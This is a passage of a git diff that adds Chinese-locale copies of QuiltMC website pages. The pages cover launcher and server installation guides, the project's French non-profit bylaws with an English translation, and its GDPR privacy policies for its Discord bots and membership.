+ +Once you have a copy of the Quilt installer downloaded, follow these steps: + +1. If you haven't already, download a copy of the Minecraft launcher [from the Minecraft website](https://www.minecraft.net/en-us/download), and install it +2. If you have the Minecraft launcher open, close it before continuing +3. Find the Quilt installer you downloaded and run it +4. Ensure that you have the **Client** tab selected +5. Select the version of Minecraft you wish to install Quilt for +6. Select the version of the Quilt loader you'd like to use +7. Click the **Install** button + +Assuming you left the **Generate profile** box checked, you'll notice that a new Quilt installation will have been created for you. Otherwise, you can click on the **Installations** tab at the top and create a new one, picking the new Quilt entry from the **Version** dropdown. + +That's all there is to it - install some mods, launch your new installation, and have fun playing! + +# Installing Mods + +Installing mods is a fairly simple process: + +1. Download the mods you'd like to install +2. Open the Minecraft Launcher and click on the **Installations** tab +3. Hover your mouse cursor over the Quilt installation you'd like to add mods to +4. Click on the button that looks like a folder icon +5. In the folder that opens, create a folder named `mods` if one doesn't already exist +6. Copy your mod files into the `mods/` folder +7. Ensure you have also added the **Quilted Fabric API/Quilt Standard Libraries** bundle, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) or [on Modrinth](https://modrinth.com/mod/qsl) + +Launch your installation, and the mods should be available immediately. If you run into any issues, please take a look at the [troubleshooting page](/en/usage/troubleshooting), or [join us on Discord](https://discord.quiltmc.org) to ask for support! diff --git a/src/pages/zh/install/curseforge.mdx b/src/pages/zh/install/curseforge.mdx new file mode 100644 index 000000000..98ccaf76a --- /dev/null +++ b/src/pages/zh/install/curseforge.mdx @@ -0,0 +1,37 @@ +--- +title: "Install: CurseForge" +permalink: /install/curseforge/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-curseforge +website: https://download.curseforge.com +--- + +import Message from "@atoms/Message.astro"; + +### Status: Partially Implemented + +CurseForge does not currently support Quilt in their launcher, but they've stated they're planning on it. They do, however, support Quilt on the CurseForge website. + +Thanks to Claycorp, RedBlue and Yamza for their help, as well as to everyone that supported our [CurseForge Ideas suggestion](https://curseforge-ideas.overwolf.com/ideas/CF-I-2662). We couldn't have gotten this far without you! + +# Manual Installation + +It is not currently possible to manually install Quilt into a CurseForge instance. Please show your support on the suggestion linked above if you'd like to see CurseForge adding Quilt to their services! + +## Workarounds + + + Please note that the following solutions are maintained by third party developers. We cannot guarantee their efficacy over time -- and, while we believe them to be entirely safe, we can't take responsibility for any issues caused by them. + + **Please remember to back up your worlds if you attempt to use the following solutions on an existing launcher profile!** + + +If you can't wait for the CurseForge launcher to support Quilt, then [kb1000](https://www.curseforge.com/members/kb1000) maintains one possible solution: + +1. Create a Forge profile +2. Add [JumpQuilt](https://www.curseforge.com/minecraft/mc-mods/jumpquilt), which will hijack the Forge loading process to load Quilt instead +3. Add your mods as usual +4. Ensure you have also added the **Quilted Fabric API/Quilt Standard Libraries** bundle, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) + +We're aware that this isn't an ideal solution for a number of reasons, especially given how mod browsing works in the CurseForge launcher. Please show your support on the suggestion linked above if you'd like to see a better solution! diff --git a/src/pages/zh/install/gdlauncher.mdx b/src/pages/zh/install/gdlauncher.mdx new file mode 100644 index 000000000..577b54deb --- /dev/null +++ b/src/pages/zh/install/gdlauncher.mdx @@ -0,0 +1,31 @@ +--- +title: "Install: GDLauncher" +permalink: /install/gdlauncher/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-gdlauncher +website: https://gdevs.io +--- + +import Message from "@atoms/Message.astro"; + +### Status: Work In Progress + +GDLauncher does not currently support Quilt, but a member of the community has [submitted a Pull Request](https://github.com/gorilla-devs/GDLauncher/pull/1400) that adds Quilt support. If you're interested in seeing Quilt support in GDLauncher, feel free to take a look at that PR. + +# Workarounds + + + Please note that the following solutions are maintained by third party developers. We cannot guarantee their efficacy over time -- and, while we believe them to be entirely safe, we can't take responsibility for any issues caused by them. + + **Please remember to back up your worlds if you attempt to use the following solutions on an existing launcher profile!** + + +If you can't wait for GDLauncher to support Quilt, then [kb1000](https://www.curseforge.com/members/kb1000) maintains one possible solution: + +1. Create a Forge profile +2. Add [JumpQuilt](https://www.curseforge.com/minecraft/mc-mods/jumpquilt), which will hijack the Forge loading process to load Quilt instead +3. Add your mods as usual +4. Ensure you have also added the **Quilted Fabric API/Quilt Standard Libraries** bundle, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) + +We're aware that this isn't an ideal solution for a number of reasons. Please show your support on the Pull Request linked above if you'd like to see a better solution! diff --git a/src/pages/zh/install/index.mdx b/src/pages/zh/install/index.mdx new file mode 100644 index 000000000..b7e198334 --- /dev/null +++ b/src/pages/zh/install/index.mdx @@ -0,0 +1,25 @@ +import Install from "/src/layouts/Install.astro"; +import Message from "@atoms/Message.astro"; + + +
+ 直接安装 +
+ +
+

启动器

+ + **请注意:**本页面上第三方启动器的存在并不代表 Quilt 项目的认可。我们只是相信用户的选择很重要! + +
+ +
+ # 等待支持 + + + 此列表中的启动器目前尚不支持 Quilt ,但已有人提出要求,或者他们正在进行相关的工作。您可以点击它们了解更多有关它们的进展情况,或者在可能的情况下了解使用它们安装 Quilt 的解决方法。 + + +
+ +
diff --git a/src/pages/zh/install/multimc.md b/src/pages/zh/install/multimc.md new file mode 100644 index 000000000..82eeea0d5 --- /dev/null +++ b/src/pages/zh/install/multimc.md @@ -0,0 +1,32 @@ +--- +title: "Install: MultiMC" +permalink: /install/multimc/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-multimc +website: https://multimc.org +--- + +MultiMC is a launcher with advanced features to allow power users to manage separate instances of Minecraft. To set up a Quilt instance with MultiMC, follow these steps: + +1. Download and install MultiMC from [their website](https://multimc.org) +2. Open MultiMC, follow the setup steps and click on the **Add Instance** button at the top of the window +3. Fill out the **Name** and **Group** boxes as required +4. Select **Vanilla** from the list on the left, and pick the version of Minecraft you'd like to use for your instance +5. Click **OK** to create a new vanilla instance +6. Right-click on the instance and select **Edit Instance**, or click on it once and select **Edit Instance** from the menu on the right of the window +7. Select **Version** from the list on the left, and click the **Install Quilt** button in the menu on the right side of the window +8. Select the Quilt Loader version you'd like to use and click **OK** +9. Set up the rest of your instance as normal + +That's all there is to it! Once you've followed these steps, your instance should be ready to go -- just add your mods and get playing. + +# Installing Mods + +To install mods to your MultiMC instance, simply follow these steps: + +1. Right-click on the instance you'd like to install mods to and select **Edit Instance**, or click on it once and select **Edit Instance** from the menu on the right of the window +2. Select **Mods** from the list on the left, and drag-and-drop the mod files you've downloaded into the mod list +3. Ensure you have the **Quilted Fabric API/Quilt Standard Libraries** bundle installed, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) or [on Modrinth](https://modrinth.com/mod/qsl) + +Start up your game, and the mods should be available immediately. If you run into any issues, please take a look at the [troubleshooting page](/en/usage/troubleshooting), or [join us on Discord](https://discord.quiltmc.org) to ask for support! diff --git a/src/pages/zh/install/prismlauncher.md b/src/pages/zh/install/prismlauncher.md new file mode 100644 index 000000000..980548254 --- /dev/null +++ b/src/pages/zh/install/prismlauncher.md @@ -0,0 +1,35 @@ +--- +title: "Install: Prism Launcher" +permalink: /install/prismlauncher/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-prismlauncher +website: https://prismlauncher.org +--- + +Prism Launcher is designed to allow users to manage multiple installations of Minecraft at once easily, and provide the power tools an advanced user would need. + +To set up a Quilt instance, simply follow these steps: + +1. Download and install Prism Launcher from [their website](https://prismlauncher.org) +2. Open Prism Launcher, follow the setup steps and click on the **Add Instance** button at the top of the window +3. Fill out the **Name** box as required (you may also fill the **Group** box optionally) +4. Select **Vanilla** from the list on the left, and pick the version of Minecraft you'd like to use for your instance +5. Under the **Mod Loader**, select **Quilt** and then pick the Quilt Loader version you'd like to use +6. Click **OK** to create a new Quilt instance +7. Set up the rest of your instance as normal + +That's all there is to it! Once you've followed these steps, your instance should be ready to go -- just add your mods and get playing. + +# Installing Mods + +To install mods to your Prism Launcher instance, simply follow these steps: + +1. Right-click on the instance you'd like to install mods to and select **Edit...**, or click on it once and select **Edit** from the menu on the right of the window +2. Select **Mods** from the list on the left, and click on the **Download mods** button in the menu on the right side of the window +3. Use the new window to search for and install the mods you'd like to use +4. Make sure to install the **Quilted Fabric API/Quilt Standard Libraries** bundle, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) or [on Modrinth](https://modrinth.com/mod/qsl) + +If you can't find the mod you'd like to install using the built-in search, you can simply drag-and-drop any mod files you've downloaded into the mod list, and Prism Launcher will ensure it's installed properly. + +Start up your game, and the mods should be available immediately. If you run into any issues, please take a look at the [troubleshooting page](/en/usage/troubleshooting), or [join us on Discord](https://discord.quiltmc.org) to ask for support! diff --git a/src/pages/zh/install/server.mdx b/src/pages/zh/install/server.mdx new file mode 100644 index 000000000..f422d4da5 --- /dev/null +++ b/src/pages/zh/install/server.mdx @@ -0,0 +1,74 @@ +--- +title: "Install: Server" +permalink: /install/server/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-server + +hasDownloads: true +--- + +import InstallerVersion from "@parts/install/InstallerVersion.astro"; +import MavenInstallerButton from "@atoms/MavenInstallerButton.astro"; + +Before getting started, you'll need to make sure you download a copy of the Quilt installer. You'll also need to make sure you've [installed Java](https://adoptium.net/temurin/releases/). + +
+ +
+
+
+ +
+
+
+
+ +## GUI Installation + +Once you have a copy of the Quilt installer downloaded, follow these steps: + +1. Find the Quilt installer you downloaded and run it +2. Ensure that you have the **Server** tab selected +3. Select the version of Minecraft you wish to install Quilt for +4. Select the version of the Quilt loader you'd like to use +5. Select the location you'd like to install the server to +6. Check the **Download server jar** box +7. Click the **Install** button + +This will download a copy of the Minecraft server to the location you specified, and install Quilt to it, providing a launcher JAR to start the server with. Once that's done, create a `.bat` (for Windows) or `.sh` (for Mac/Linux) file, with the following contents: + +```bash +java -jar quilt-server-launch.jar nogui +``` + +That's all there is to it - use the corresponding `.bat` or `.sh` file to start the server for the first time, then stop it (with `/stop` or `ctrl+c`) and set it up as you normally would. + +## CLI Installation + +Once you have a copy of the Quilt installer downloaded, you'll need to run it from your terminal, replacing `INSTALLER_VERSION` and `MINECRAFT_VERSION` as needed: + +```bash +java -jar quilt-installer-INSTALLER_VERSION.jar \ + install server MINECRAFT_VERSION \ + --download-server +``` + +This will download a copy of the Minecraft server to `server/` and install Quilt to it, providing a launcher JAR to start the server with. Once that's done, create a `.bat` (for Windows) or `.sh` (for Mac/Linux) file, with the following contents: + +```bash +java -jar quilt-server-launch.jar nogui +``` + +That's all there is to it - use the corresponding `.bat` or `.sh` file to start the server for the first time, then stop it (with `/stop` or `ctrl+c`) and set it up as you normally would. + +# Installing Mods + +Installing mods is a fairly simple process: + +1. Download the mods you'd like to install +2. Create a folder named `mods` alongside your server files, if one doesn't already exist +3. Copy your mod files into the `mods/` folder +4. Ensure you have also added the **Quilted Fabric API/Quilt Standard Libraries** bundle, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) or [on Modrinth](https://modrinth.com/mod/qsl) + +Launch your installation, and the mods should be available immediately. If you run into any issues, please take a look at the [troubleshooting page](/en/usage/troubleshooting), or [join us on Discord](https://discord.quiltmc.org) to ask for support! diff --git a/src/pages/zh/install/technic.mdx b/src/pages/zh/install/technic.mdx new file mode 100644 index 000000000..af3b8632d --- /dev/null +++ b/src/pages/zh/install/technic.mdx @@ -0,0 +1,53 @@ +--- +title: "Install: Technic Launcher" +permalink: /install/technic/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-technic +website: https://www.technicpack.net +--- + +import Message from "@atoms/Message.astro"; +import VersionJson from "@parts/install/VersionJson.astro"; + +Technic Launcher is a simple launcher, designed to allow users to download, install and play modpacks that have been uploaded to [The Technic site](https://www.technicpack.net/modpacks), either directly or via [Technic Solder](https://solder.io). + +As this launcher is not designed to allow you to create custom instances, most users will pick it purely to play an existing modpack. If you want to create your own custom instance, you'll need to create a modpack by hand, following the instructions further down this page. + +## Installing a modpack + +For most players, this is all you'll need to do: + +- Download and install the Technic Launcher from [their website](https://www.technicpack.net) +- Open Technic Launcher and log into your Microsoft or Minecraft account +- Select **Modpacks** at the top of the window and install the Quilt-based pack you want to use +- Select the pack on the left side of the window and click the **Install** button in the lower-right of the window +- Once the pack has been installed, click the **Play** button in the lower-right of the window + +This will allow you to start playing a Quilt-based modpack that someone else has made. + +## Creating your own modpack + +If you're working on your own Technic modpack, you'll need to provide a `version.json` file. While you'll probably want to try to follow [their official guide](https://www.technicpack.net/article/building-your-own-modpack.7), at a very basic level you'll need to do the following: + +- Create a new folder for your modpack +- Create two folders within -- `bin` and `mods` +- In the `mods` folder, place the mods you'd like to add to your modpack +- In the `bin` folder, place a `version.json` that you've downloaded below + +Once you've done this, you should be able to upload your modpack via [the Technic Dashboard](https://www.technicpack.net/dashboard). Once you've finished creating and uploading your modpack, you should be able to install it by following the instructions listed at the top of this page. + +### Download version.json + + + +**Note:** You may need to right-click the download button and select **Save Link As** or similar, depending on your browser. + + diff --git a/src/pages/zh/legal/bylaws/en.mdx b/src/pages/zh/legal/bylaws/en.mdx new file mode 100644 index 000000000..c4e197183 --- /dev/null +++ b/src/pages/zh/legal/bylaws/en.mdx @@ -0,0 +1,97 @@ +--- +permalink: /legal/bylaws/en/ +title: Non-profit Bylaws (English) +description: The bylaws of The Quilt Project. +layout: /src/layouts/Page.astro +--- + +# Foreword + +This contains the bylaws of The Quilt Project, a non-profit organization registered in France. + +This is an unofficial, non legally binding translation of the bylaws of the [official bylaws](/en/legal/bylaws/fr/). +In case of a conflict between the two, the official French bylaws take precedence. + +# Bylaws + +## Article 1 + +On May 21, 2023, an association governed by the law of July 1, 1901 and the decree of August 16, 1901, entitled “The Quilt Project” was founded between members of these bylaws and those who will subsequently join. + +The association is also designated by the name “Quilt”. + + +## Article 2 +This association aims to create an inclusive community around the QuiltMC mod-loader project, as well as to support this project. + +## Article 3 +The office is in the domiciliation company, whose identification number is 880 522 487. + +The office address is : +154 Rue de Rome +Bureau 3 +13006 Marseille +France + +## Article 4 +The duration of the association is unlimited. + +## Article 5 +Membership of the association is free without annual fees, subject to acceptance by the office. + +## Article 6 +Active members are those who join the association. + +## Article 7 +Membership is lost by: +- Resignation. +- Death. +- Expulsion pronounced by the board of directors for any reason. + +## Article 8 +The ordinary general assembly includes all the members of the association in whatever capacity. + +It gathers at least once per year. + +Fifteen days at least before the fixed date, the members of the association are convened. The agenda appears on the convocations. + +Only the members of the office have the right to vote, regardless of their age. + +All deliberations are taken by electronic vote, by a majority of the votes cast. + +The decisions of general meetings are binding on all members, including those absent or represented. + +## Article 9 +If necessary, the board of directors may convene an extraordinary general assembly, in accordance with the procedures provided for in these articles of association and only for modification of the articles of association or dissolution. + +## Article 10 +The board of directors is composed of members part of the “Legal Team” within the organization “QuiltMC”. + +The treasurers are members, part of the “Administrative Board” within the organization “QuiltMC”. + +They together form the office. + +## Article 11 +All functions, including those of the members of the board of directors and the office, are free and voluntary. + +Only the costs incurred by the fulfilment of their mandate are reimbursed on receipts. + +## Article 12 + +A set of internal regulations can be drawn up by the board of directors, which then has them approved by the general meeting. + +This possible regulation is intended to fix the various points not envisaged by the present statutes, in particular those which relate to the internal administration of the association. + +## Article 13 + +In the event of dissolution pronounced according to the procedures provided for in Article 11, one or more liquidators are appointed, and the net assets, if any, are devolved to a non-profit organization in accordance with the decisions of the extraordinary general meeting which rules on the dissolution. + +The net assets cannot be devolved to a member of the association, even partially, except for the recovery of a contribution. + +Not prohibiting the allocation of net assets to a member could compromise the criterion of disinterested management, tax application of Article 1 of the law of 1901, and therefore the qualification of general interest. + +## Article 14 + +These statutes were approved during the constitutive general assembly on May 21, 2023. + +They have been drawn up in as many copies as there are interested parties, including one for the declaration, one for the Prefecture and one for the association. diff --git a/src/pages/zh/legal/bylaws/fr.mdx b/src/pages/zh/legal/bylaws/fr.mdx new file mode 100644 index 000000000..5af115715 --- /dev/null +++ b/src/pages/zh/legal/bylaws/fr.mdx @@ -0,0 +1,95 @@ +--- +permalink: /legal/bylaws/fr/ +title: Non-profit Bylaws (French) +description: The bylaws of The Quilt Project. +layout: /src/layouts/Page.astro +--- + +# Foreword + +This contains the bylaws of The Quilt Project, a non-profit organization registered in France. + +You can find an unofficial translation of the [bylaws in English here](/en/legal/bylaws/en/). + +# Bylaws + +## Article 1 +En date du 21 mai 2023 a été fondé entre les adhérents aux présents statuts et ceux qui y +adhéreront ultérieurement une association régie par la loi du 1er juillet 1901 et le décret du 16 août 1901, ayant pour titre “The Quilt Project”. + +L’association est désignée par le sigle “Quilt”. + +## Article 2 +Cette association a pour objet de créer une communauté inclusive autour du projet du mod-loader QuiltMC ainsi que soutenir ce projet. + +## Article 3 +Le siège social est fixé dans l'entreprise de domiciliation dont le numéro d'immatriculation est 880 522 487. + +L'adresse du siège social est : +154 Rue de Rome +Bureau 3 +13006 Marseille +France + +## Article 4 +La durée de l’association est illimitée. + +## Article 5 +L’adhésion à l’association est libre sans cotisation annuelle, sous réserve d’acceptation du bureau. + +## Article 6 +Sont membres actifs ceux qui adhèrent à l'association. + +## Article 7 +La qualité de membre se perd par : +- La démission. +- Le décès. +- La radiation prononcée par le conseil d’administration pour tout motif. + +## Article 8 +L'assemblée générale ordinaire comprend tous les membres de l'association à quelques titres qu'ils soient. + +Elle se réunit au moins une fois par an. + +Quinze jours au moins avant la date fixée, les membres de l'association sont convoqués. L'ordre du jour figure sur les convocations. + +Seuls les membres du bureau ont le droit de vote, peu importe leur âge. + +Toutes les délibérations sont prises par voix électronique, à la majorité des voix des suffrages exprimés. + +Les décisions des assemblées générales s’imposent à tous les membres, y compris absents ou représentés. + +## Article 9 +Si besoin est, le conseil d’administration peut convoquer une assemblée générale extraordinaire, suivant les modalités prévues aux présents statuts et uniquement pour modification des statuts ou la dissolution. + +## Article 10 +Le conseil d’administration est composé d’office des adhérant ayant le status de membre de la “Legal Team” au sein de l’organisation “QuiltMC”. + +Les trésoriers sont d’office des adhérant ayant le status de membre de l”Administartive Board” au sein de l’organisation “QuiltMC”. + +Ceci forment ensemble le bureau. + +## Article 11 +Toutes les fonctions, y compris celles des membres du conseil d’administration et du bureau, sont gratuites et bénévoles. + +Seuls les frais occasionnés par l’accomplissement de leur mandat sont remboursés sur justificatifs. + +## Article 12 + +Un règlement intérieur peut être établi par le conseil d'administration, qui le fait alors approuver par l'assemblée générale. + +Ce règlement éventuel est destiné à fixer les divers points non prévus par les présents statuts, notamment ceux qui ont trait à l'administration interne de l'association. + +## Article 13 + +En cas de dissolution prononcée selon les modalités prévues à l’article 11, un ou plusieurs liquidateurs sont nommés, et l'actif net, s'il y a lieu, est dévolu à un organisme ayant un but non lucratif conformément aux décisions de l’assemblée générale extraordinaire qui statue sur la dissolution. + +L’actif net ne peut être dévolu à un membre de l’association, même partiellement, sauf reprise d’un apport. + +Ne pas interdire l’attribution de l’actif net à un membre pourrait compromettre le critère de gestion désintéressée, déclinaison fiscale de l’article 1er de loi de 1901, et donc la qualification d’intérêt général. + +## Article 14 + +Les présents statuts ont été approuvés lors de l'assemblée générale constitutive le 21 mai 2023. + +Ils ont été établis en autant d'exemplaires que de parties intéressées, dont un pour la déclaration, un pour la Préfecture et un pour l'association. diff --git a/src/pages/zh/legal/cozy-privacy-policy.mdx b/src/pages/zh/legal/cozy-privacy-policy.mdx new file mode 100644 index 000000000..15a92fb91 --- /dev/null +++ b/src/pages/zh/legal/cozy-privacy-policy.mdx @@ -0,0 +1,110 @@ +--- +permalink: /legal/cozy-privacy-policy/ +title: Cozy Privacy Policy +description: The privacy policy for the Cozy Discord bots. +layout: /src/layouts/Page.astro +--- + +# Foreword + +The following document was created as required by the European Union General Data Protection Regulation (EU GDPR). +You can find more information about that regulation on [gdpr.eu](https://gdpr.eu/). + +This document details what and why data is collected by The Quilt Project through the Cozy Discord bots, except "Cozy (Stats)", +how it is used and how to use your rights related to your data. + +The Quilt Project ("Us", "We", "Our") is the data controller for the data collected through the Cozy Discord bots. + +# Data Collected + +## Applications + +When you submit an application to join the server, we save your User ID along with some metadata. Your answers aren't +stored. + +We use this data to maintain a list of previous applications that have been submitted by each user, which allows us to +look them up on Discord when we need to review them. + +## Filter Events + +When you trigger an automatic filter, we record your User ID and the location of the message that triggered it. +The message content isn't saved. + +We use this data to conduct analytics. + +## Threads + +If you are designated as the owner of a thread by creating it, or having the current owner transfer it to you, +your User ID is saved alongside the thread ID. + +We use this data to allow you to manage the threads you own. + +## Suggestions + +### Voting + +When you vote positively or negatively, we save your User ID alongside the suggestion and your vote. + +We use this data to make sure you can't vote more than once. + +### Creating a suggestion + +When you create a suggestion, we save your User ID, Username, Avatar Url, Message and whether it was proxied or not. + +We use this data to display and keep track of the suggestions. This data can be seen on the public analytics dashboard, without the User ID or Username. + +## User Flags + +We save three flags about you: +- Has Used PluralKit: whether you have used PluralKit previously or not. We use that to log new usages of PluralKit for +review by the moderators. +- Auto Publish: whether your messages sent in a news channel should be automatically published. +- Sync Nicknames: whether your nickname should be synced between Quilt guilds. + +# Data Retention + +Data is retained indefinitely. We do not delete any data unless you request it. + +# Data Governance + +Database access is limited to the minimum of The Quilt Project benevolent workers required to operate the service. We do not share any data with third parties. +We do not sell any data. Your data isn't shared with any contracted sub-processors. + +Data is stored in a country part of the European Economic Area (EEA). Data is encrypted at rest and in transit. + +# Access, rectification, erasure, restriction, portability, and objection + +Every user is entitled to the following: + +**The right to access** – You have the right to request Us for copies of your personal data. +We may charge you a small fee for this service. + +**The right to rectification** – You have the right to request that We correct any information +you believe is inaccurate. You also have the right to request Us to complete the information +you believe is incomplete. + +**The right to erasure** – You have the right to request that We erase your personal data, +under certain conditions. + +**The right to restrict processing** – You have the right to request that We restrict the +processing of your personal data, under certain conditions. + +**The right to data portability** – You have the right to request that We transfer the data +that we have collected to another organization, or directly to you, under certain conditions. + +**The right to object to processing** – You have the right to object to Our processing of +your personal data, under certain conditions. + +If you would like to exercise those rights, contact us at [privacy@quiltmc.org](mailto:privacy@quiltmc.org). +We may ask you to verify your identity before processing your request, using a service such as [Aperture](https://aperture.starchild.systems). +We will respond to your request within 30 days as required by law. + +# Changes to the Privacy Policy + +We keep this privacy policy under regular review and places any updates on this web page. +If we do this, we will post the changes on this page and update the "Edited" date at the top of this page. + +# Contact + +If you have any questions about this privacy policy, please contact us at +[privacy@quiltmc.org](mailto:privacy@quiltmc.org). diff --git a/src/pages/zh/legal/index.mdx b/src/pages/zh/legal/index.mdx new file mode 100644 index 000000000..8a9c3eb2a --- /dev/null +++ b/src/pages/zh/legal/index.mdx @@ -0,0 +1,19 @@ +--- +permalink: /legal/ +title: Legal +description: The nitty-gritty of the legal stuff for Quilt. +layout: /src/layouts/Page.astro +--- + +This section contains the legal document for The Quilt Project. If you have any questions, +please contact us at [privacy@quiltmc.org](mailto:privacy@quiltmc.org) +or in the `#discord-meta` channel on Discord. + +# Privacy Polices + +You can find the privacy polices on the left of the page, or underneath: +* [Cozy Privacy Policy](/en/legal/cozy-privacy-policy/) +* [Membership Privacy Policy](/en/legal/membership-privacy-policy/) +* [ModMail Privacy Policy](/en/legal/modmail-privacy-policy/) +* [Metricity Privacy Policy](/en/legal/metricity-privacy-policy/) +* [Non-profit Bylaws](/en/legal/bylaws/fr/) ([English translation](/en/legal/bylaws/en/)) diff --git a/src/pages/zh/legal/membership-privacy-policy.mdx b/src/pages/zh/legal/membership-privacy-policy.mdx new file mode 100644 index 000000000..22a772ab3 --- /dev/null +++ b/src/pages/zh/legal/membership-privacy-policy.mdx @@ -0,0 +1,73 @@ +--- +permalink: /legal/cozy-privacy-policy/ +title: Membership Privacy Policy +description: The privacy policy for your membership inside our non-profit. +layout: /src/layouts/Page.astro +--- + +# Foreword + +The following document was created as required by the European Union General Data Protection Regulation (EU GDPR). +You can find more information about that regulation on [gdpr.eu](https://gdpr.eu/). + +This document details what and why data is collected by The Quilt Project when you join the non-profit, +how it is used and how to use your rights related to your data. + +QuiltMC ("Us", "We", "Our") is the data controller for the data collected through the Cozy Discord bots. + +# Data Collected + +When you join the non-profit, we collect the following data: +- Your name +- Your email address +- Your country + +This data is used to keep track of our members, communicate with you and to comply with the law. + +# Data Retention + +Data is retained up until you leave the non-profit. If you leave the non-profit, your data is deleted as soon as reasonably possible. + +This will be done within 30 days of you leaving the non-profit. + +# Data Governance + +Data access is limited to our Legal Team. We do not share any data with third parties. +We do not sell any data. Your data isn't shared with any contracted sub-processors. + +# Access, rectification, erasure, restriction, portability, and objection + +Every user is entitled to the following: + +**The right to access** – You have the right to request Us for copies of your personal data. +We may charge you a small fee for this service. + +**The right to rectification** – You have the right to request that We correct any information +you believe is inaccurate. You also have the right to request Us to complete the information +you believe is incomplete. + +**The right to erasure** – You have the right to request that We erase your personal data, +under certain conditions. + +**The right to restrict processing** – You have the right to request that We restrict the +processing of your personal data, under certain conditions. + +**The right to data portability** – You have the right to request that We transfer the data +that we have collected to another organization, or directly to you, under certain conditions. + +**The right to object to processing** – You have the right to object to Our processing of +your personal data, under certain conditions. + +If you would like to exercise those rights, contact us at [privacy@quiltmc.org](mailto:privacy@quiltmc.org). +We may ask you to verify your identity before processing your request. +We will respond to your request within 30 days as required by law. + +# Changes to the Privacy Policy + +We keep this privacy policy under regular review and places any updates on this web page. +If we do this, we will post the changes on this page and update the "Edited" date at the top of this page. + +# Contact + +If you have any questions about this privacy policy, please contact us at +[privacy@quiltmc.org](mailto:privacy@quiltmc.org). diff --git a/src/pages/zh/legal/metricity-privacy-policy.mdx b/src/pages/zh/legal/metricity-privacy-policy.mdx new file mode 100644 index 000000000..22338dff7 --- /dev/null +++ b/src/pages/zh/legal/metricity-privacy-policy.mdx @@ -0,0 +1,100 @@ +--- +permalink: /legal/metricity-privacy-policy/ +title: Metricity Privacy Policy +description: The privacy policy for the Metricity Discord bot. +layout: /src/layouts/Page.astro +--- + +# Foreword + +The following document was created as required by the European Union General Data Protection Regulation (EU GDPR). +You can find more information about that regulation on [gdpr.eu](https://gdpr.eu/). + +This document details what and why data is collected by The Quilt Project through the "Cozy (Stats)" Discord bot +running [Metricity](https://git.pydis.com/metricity), how it is used and how to use your rights related to your data. + +The Quilt Project ("Us", "We", "Our") is the data controller for the data collected through the Cozy Discord bots. + +# Data Collected + +## Messages + +We collect the following information about messages sent on the server: +* Message ID +* Author ID +* Channel ID and Thread ID +* Creation date +* Whether the message is deleted or not + +The message content is **not** collected. Message data is kept after deletion from Discord, for erasure please see [Contact](#contact). + +## Users + +We collect the following information about users who are on one of our Guilds: +* User ID +* Username +* Avatar image hash +* Guild avatar image hash +* Creation date +* Join date +* Public Discord flags +* Whether the user is in the Guild +* Whether the user is considered as "pending" by Discord + +User data is kept after leaving the Guild, for erasure please see [Contact](#contact). + +# Data usage + +The data is collected to provide statistics and identify bad actors. +We do not make use of any automated decision making based on this data. + +No statistics containing private information will be provided publicly. +We may use statistics containing private information internally. + +# Data Retention + +Data is retained indefinitely. We do not delete any data unless you request it. + +# Data Governance + +Database access is limited to the minimum of The Quilt Project benevolent workers required to operate the service. We do not share any data with third parties. +We do not sell any data. Your data isn't shared with any contracted sub-processors. + +Data is stored in a country part of the European Economic Area (EEA). Data is encrypted at rest and in transit. + +# Access, rectification, erasure, restriction, portability, and objection + +Every user is entitled to the following: + +**The right to access** – You have the right to request Us for copies of your personal data. +We may charge you a small fee for this service. + +**The right to rectification** – You have the right to request that We correct any information +you believe is inaccurate. You also have the right to request Us to complete the information +you believe is incomplete. + +**The right to erasure** – You have the right to request that We erase your personal data, +under certain conditions. + +**The right to restrict processing** – You have the right to request that We restrict the +processing of your personal data, under certain conditions. + +**The right to data portability** – You have the right to request that We transfer the data +that we have collected to another organization, or directly to you, under certain conditions. + +**The right to object to processing** – You have the right to object to Our processing of +your personal data, under certain conditions. + +If you would like to exercise those rights, contact us at [privacy@quiltmc.org](mailto:privacy@quiltmc.org). +We may ask you to verify your identity before processing your request, using a service such as [Aperture](https://aperture.starchild.systems). +We will respond to your request within 30 days as required by law. + +# Changes to the Privacy Policy + +We keep this privacy policy under regular review and places any updates on this web page. +If we do this, we will post the changes on this page and update the "Edited" date at the top of this page. + +# Contact + +If you have any questions about this privacy policy, please contact us at +[privacy@quiltmc.org](mailto:privacy@quiltmc.org). diff --git a/src/pages/zh/legal/modmail-privacy-policy.mdx b/src/pages/zh/legal/modmail-privacy-policy.mdx new file mode 100644 index 000000000..b4dd617b8 --- /dev/null +++ b/src/pages/zh/legal/modmail-privacy-policy.mdx @@ -0,0 +1,107 @@ +--- +permalink: /legal/modmail-privacy-policy/ +title: ModMail Privacy Policy +description: The privacy policy for the ModMail Discord bot and web interface. +layout: /src/layouts/Page.astro +--- + +# Foreword + +The following document was created as required by the European Union General Data Protection Regulation (EU GDPR). +You can find more information about that regulation on [gdpr.eu](https://gdpr.eu/). + +Our ModMail+ instance is contracted to Starchild Systems. +This document details what and why data is collected by Starchild Systems for QuiltMC, +how it is used and how to use your rights related to your data. + +The Quilt Project ("Us", "We", "Our") is the data controller for the data collected by Starchild Systems for QuiltMC. + +# Data Collected + +## Discord Bot + +We collect message content and attachments sent to the ModMail+ instance through Direct Message or by typing inside the thread channel. + +We also collect the following information about the sender: +* Discord ID +* Discord Username +* Discord Discriminator +* Discord Avatar URL + +We collect that data to preserve historical data and conduct moderation. The data is persisted across leaving the guild and is essential to the operation of the service. + +Attachments are stored inside a Content Delivery Network (CDN) owned by Starchild Systems to preserve data after the thread is closed. + +## Web Interface + +The web interface doesn't store any personal data. + +# Data Retention + +Data is retained indefinitely. We do not delete any data unless you request it. + +# Data Governance + +Database access is limited to the minimum of Starchild Systems employees required to operate the service. We do not share any data with third parties. +We do not sell any data. Your data isn't shared with any contracted sub-processors other than Starchild Systems. + +Data is stored in a country part of the European Economic Area (EEA). Data is encrypted at 